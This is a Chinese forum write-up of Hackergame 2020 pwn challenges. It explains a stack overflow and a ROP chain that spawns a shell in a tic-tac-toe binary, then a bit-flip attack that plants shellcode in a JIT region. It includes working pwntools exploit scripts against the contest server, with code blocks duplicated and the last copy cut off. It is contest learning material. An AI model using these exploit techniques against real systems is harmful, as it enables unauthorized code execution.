-
-
[原创]Hackergame 2020 pwn writeup
-
发表于: 2020-11-7 16:18 7171
-
这道题目要求和 AI 下一个 3x3 的井字棋,AI 先手且使用了一个不败的算法,最好的结果就是平局,而只有获胜我们才能拿到 flag。
第一问非常直白,只要获胜即可拿到第一个 flag,查看代码可以知道控制是否获胜的 success 变量是一个局部变量,即这里的 v15:
接收输入的变量为 v12,它也是一个栈变量,长度为 128B:
其中,v15 位于 rbp-1,v12 位于 rbp-0x90,因此这里我们可以通过 v12 栈溢出写入到 v15 中,使其变为 1 即可,因此在我们下第一步棋的时候在合法输入后跟上 payload 即可,注意这里不能无脑的写 1,因为循环的判断条件 while (!success) 的实际代码如下:
这里取出 1B 进行异或判断,如果这 1B 不是 0x01 而是 0xFF,则会无法正常通过 test 判断,因此这里我们选择的 payload 为 0x01 的序列,例如:
第二问要求 get shell,这道题目开启了 NX 但木有使用 Stack Canary,所以我们可以使用 ROP 方式完成调用 execve("/bin/sh", 0, 0),这里在 x64 下 execve 对应的调用号为 59,因此需要满足以下条件:
一般而言对于动态链接 libc 的程序,非常容易找到这些 gadget 以及 /bin/sh 字符串,但这道题目的 binary 静态链接了 libc,在这种情况下我们能找到的 gadget 只有如下这些:
这些能够完成一个 syscall 的调用,但却无法提供一个指向 /bin/sh 的指针,这就要求我们在 input 时在 payload 中预留一个 /bin/sh,再让 rdi 种存储它的地址,这里有两种玩法,第一种是先给任意寄存器写一个堆地址,再用 mov qword ptr 将 /bin/sh 写入到这个堆地址,最后就能 happy 的使用了,这种解法可以见官方 writeup。 我当时费解了竟然没有想到这种简单办法,而是选择了控制 rbp 去重入一次程序,精确控制写入的地址。
我最后采取的办法是控制 rbp,我们知道栈上的寻址都是直接基于 rbp 的,在函数最后执行 leave 操作时会 pop rbp,因此我们可以将期望的 rbp 写到栈上,然后将返回地址覆盖成程序接收输入前的地址,实现一个 rbp 可控的重入,这次我们就可以基于 hardcode 的 rbp 确定 /bin/sh 的地址了。
这里我选择的重入点为输入前的 0x4023F0:
对于 rbp,本来想选择一个栈上地址,但不知道为什么 remote 一直 crash,最后选择了一个堆地址 0x4a9000:
payload 为:
其中 0x4a9000 正好覆盖到栈上的 rbp,0x4023F0 则覆盖道返回地址,这么一番操作之后,函数 leave 后 rbp = 0x4a9000 并跳转到 0x4023F0 再次接收用户输入。这里的关键在于第二轮 rbp = 0x4a9000,input 变量是基于 rbp 寻址的,所以会写入到 rbp - 0x90 对应的地址:
随后在函数退出时,又会执行 leave,将当前的 rbp 赋值到 rsp 以恢复栈帧,使得 rsp 恰好指向了我们的 payload:
那么 payload 的开头我们如果放置 /bin/sh,则 rsp 恰好指向 /bin/sh,也就是 rbp 恰好指向 /bin/sh,即 0x4a9000 即为 /bin/sh 的地址。接下来就可以按照 ROP 的套路构造如下的调用链,gadget 可以使用 Ropper 直接在 binary 中扫描:
其中 rax 的值为 59(execve 的 syscall number),rdi 的值为 0x4a9000(/bin/sh 地址),其他的均为 0,我们按照这个规则构造 payload:
当第二次进入 leave 时,rsp 指向了 payload 的开头,随后函数 ret,第一个 gadget 地址 g_pop_rax_ret 被弹出,执行:
第一次 pop 弹出的是 payload + 8 的 59,随后的 ret 则弹出下一个 gadget,以此类推,最后即可 get shell。完整代码如下:
这道题明面上允许我们翻转任意地址内容的一位,随后调用 exit 退出,为了 get shell,我们需要多次翻转某个地址成为 shellcode 或者指向 one_gadget,然后想办法跳转到此完成 get shell。
由于开启了 NX,因此第一个想法是利用 one_gadget,先翻转出 one_gadget 的地址再想办法跳转过去,遗憾的是经过我一顿操作无论如何也满足不了几个 gadget 的约束条件(而且是恰好不满足,看起来是有意为之)。接下来就再试试 shellcode,通过阅读反汇编内容不难知道 bitflip 种包含了一个 JIT 区域:
即从 _init_proc
~ _init_proc + 0x1000
都是 JIT 区域,即 0x401000 ~ 0x402000,通过 vmmap 也可以验证这一点:
那么我们只要在这段区域内翻转出 shellcode,然后跳过来执行即可实现 get shell,接下来我们面临两个问题:
我们来看主程序代码:
搞一波就会被 exit,而且翻转逻辑位于 while 外部,所以我们只能翻转 exit 的地址让它跳回去,这里的 exit 是一个外部符号,需要通过二次跳转实现调用,这里的二跳第一次对应的是 stub helper 用来绑定真实的 exit 地址并完成调用,第二次就是 exit 的真实地址了:
可以看到 exit 第一次绑定的间接地址是 0x401070,我们要将它翻转为 main 中的一个可用地址,经过尝试可知 0x401170 是一个不错的选择,它恰好能让程序返回到 while 1 当中从而多次接收输入,因此我们要翻转的是指向 0x401070 的 0x404038 的第 8 位,而程序只允许我们翻转 0 ~ 7 位,所以我们转化为翻转 0x404039 的第 0 位,即输入为:
此时可以看到我们可以多次翻转地址了,下一步就是选择合适的 JIT 区域了,注意我们只能选择可以跳转过去的区域,这里我们可利用的也就只有 exit 了,再次翻转 exit 的间接跳转地址,让它指向 JIT 区域,目前的值是 0x401170,而 JIT 区域的范围是 0x401000 ~ 0x402000,我们可以选择翻转 0x404039 的第 3 位让 exit 指向 0x401970,那么 JIT 区域的位置也就确定了是 0x401970。
0x401970 是全 0 的区域,我们只需要按照 x64 shellcode 将其翻转即可,shellcode 为:
由于我们不是以字符串的形式传递 shellcode 的,不需要避免字符串被 0 截断,可以将 /bin//sh 改为 /bin/sh\x00 (因为我遇到了 /bin//sh 无法正确执行 syscall 的问题,不知道为啥),即 shellcode bytes 为:
将这些内容通过翻转写入到 0x401970 开始的地址,然后在完全翻转完成后再翻转一次 0x404039 的第 3 位即可跳转过来完成 get shell。
完整代码如下:
loc_402536:
movzx eax, [rbp
+
var_1]
xor eax,
1
test al, al
jnz loc_402373
loc_402536:
movzx eax, [rbp
+
var_1]
xor eax,
1
test al, al
jnz loc_402373
payload
=
b
'(2,1)'
+
p8(
0x01
)
*
(
0x90
-
0x01
)
payload
=
b
'(2,1)'
+
p8(
0x01
)
*
(
0x90
-
0x01
)
rax
=
59
rdi
=
ptr
-
>
/
bin
/
sh
rsi
=
0
rdx
=
0
rax
=
59
rdi
=
ptr
-
>
/
bin
/
sh
rsi
=
0
rdx
=
0
g_pop_rax_ret
=
0x000000000043e52c
g_pop_rdi_ret
=
0x00000000004017b6
g_pop_rsi_ret
=
0x0000000000407228
g_pop_rdx_ret
=
0x000000000043dbb5
g_syscall
=
0x0000000000402bf4
g_pop_rax_ret
=
0x000000000043e52c
g_pop_rdi_ret
=
0x00000000004017b6
g_pop_rsi_ret
=
0x0000000000407228
g_pop_rdx_ret
=
0x000000000043dbb5
g_syscall
=
0x0000000000402bf4
payload
=
b
'(2,1)'
+
p8(
0x01
)
*
(
0x98
-
5
-
8
)
+
p64(
0x4a9000
)
+
p64(
0x4023F0
)
payload
=
b
'(2,1)'
+
p8(
0x01
)
*
(
0x98
-
5
-
8
)
+
p64(
0x4a9000
)
+
p64(
0x4023F0
)
input
=
b
'(2,2)'
+
p8(
0x01
)
*
(
0x98
-
5
-
8
)
+
payload
input
=
b
'(2,2)'
+
p8(
0x01
)
*
(
0x98
-
5
-
8
)
+
payload
pop rax
ret
pop rdi
ret
pop rsi
ret
pop rdx
ret
pop rax
ret
pop rdi
ret
pop rsi
ret
pop rdx
ret
payload
=
b
'/bin/sh\x00'
payload
+
=
p64(g_pop_rax_ret)
+
p64(
59
)
pyaload
+
=
p64(g_pop_rdi_ret)
+
p64(
0x4a9000
)
payload
+
=
p64(g_pop_rsi_ret)
+
p64(
0
)
payload
+
=
p64(g_pop_rdx_ret)
+
p64(
0
)
payload
+
=
p64(g_syscall)
payload
=
b
'/bin/sh\x00'
payload
+
=
p64(g_pop_rax_ret)
+
p64(
59
)
pyaload
+
=
p64(g_pop_rdi_ret)
+
p64(
0x4a9000
)
payload
+
=
p64(g_pop_rsi_ret)
+
p64(
0
)
payload
+
=
p64(g_pop_rdx_ret)
+
p64(
0
)
payload
+
=
p64(g_syscall)
pop rax
ret
pop rax
ret
from
pwn
import
*
import
sys
rbp
=
0x4a9000
target_addr
=
rbp
is_remote
=
True
if
not
is_remote:
p
=
process(
'./tictactoe'
)
else
:
p
=
remote(
'202.38.93.111'
,
10141
)
if
is_remote:
print
(p.recvuntil(
':'
))
p.sendline(
'your token'
)
# first round, change rbp
# gadgets
#0x00000000004017b6: pop rdi; ret;
#0x0000000000407228: pop rsi; ret;
#0x000000000043e52c: pop rax; ret;
#0x000000000043dbb5: pop rdx; ret;
#0x0000000000402bf4: syscall;
g_pop_rdi_ret
=
0x00000000004017b6
g_pop_rsi_ret
=
0x0000000000407228
g_pop_rax_ret
=
0x000000000043e52c
g_pop_rdx_ret
=
0x000000000043dbb5
g_syscall
=
0x0000000000402bf4
g_restart
=
0x4023F0
# first round
print
(
'first round: change rbp'
)
payload
=
b
'(2,1)'
+
p8(
0x01
)
*
(
0x98
-
5
-
8
)
+
p64(rbp)
+
p64(g_restart)
print
(p.recvuntil(
":"
))
p.sendline(payload)
print
(p.recvuntil(
'flag:'
))
print
(p.recvuntil(
':'
))
print
(
'[Main] round 1 finished'
)
rop_payload
=
p64(g_pop_rax_ret)
+
p64(
59
)
+
p64(g_pop_rdi_ret)
+
p64(target_addr)
+
p64(g_pop_rsi_ret)
+
p64(
0
)
+
p64(g_pop_rdx_ret)
+
p64(
0
)
rop_payload
+
=
p64(g_syscall)
payload
=
b
'(2,2)'
+
p8(
0x01
)
*
(
0x98
-
5
-
8
)
+
b
'/bin/sh\x00'
+
rop_payload
p.sendline(payload)
print
(p.recvuntil(
'flag:'
))
print
(p.recvline())
print
(p.recvline())
p.interactive()
from
pwn
import
*
import
sys
rbp
=
0x4a9000
target_addr
=
rbp
is_remote
=
True
if
not
is_remote:
p
=
process(
'./tictactoe'
)
else
:
p
=
remote(
'202.38.93.111'
,
10141
)
if
is_remote:
print
(p.recvuntil(
':'
))
p.sendline(
'your token'
)
# first round, change rbp
# gadgets
#0x00000000004017b6: pop rdi; ret;
#0x0000000000407228: pop rsi; ret;
#0x000000000043e52c: pop rax; ret;
#0x000000000043dbb5: pop rdx; ret;
#0x0000000000402bf4: syscall;
g_pop_rdi_ret
=
0x00000000004017b6
g_pop_rsi_ret
=
0x0000000000407228
g_pop_rax_ret
=
0x000000000043e52c
g_pop_rdx_ret
=
0x000000000043dbb5
g_syscall
=
0x0000000000402bf4
g_restart
=
0x4023F0
# first round
print
(
'first round: change rbp'
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课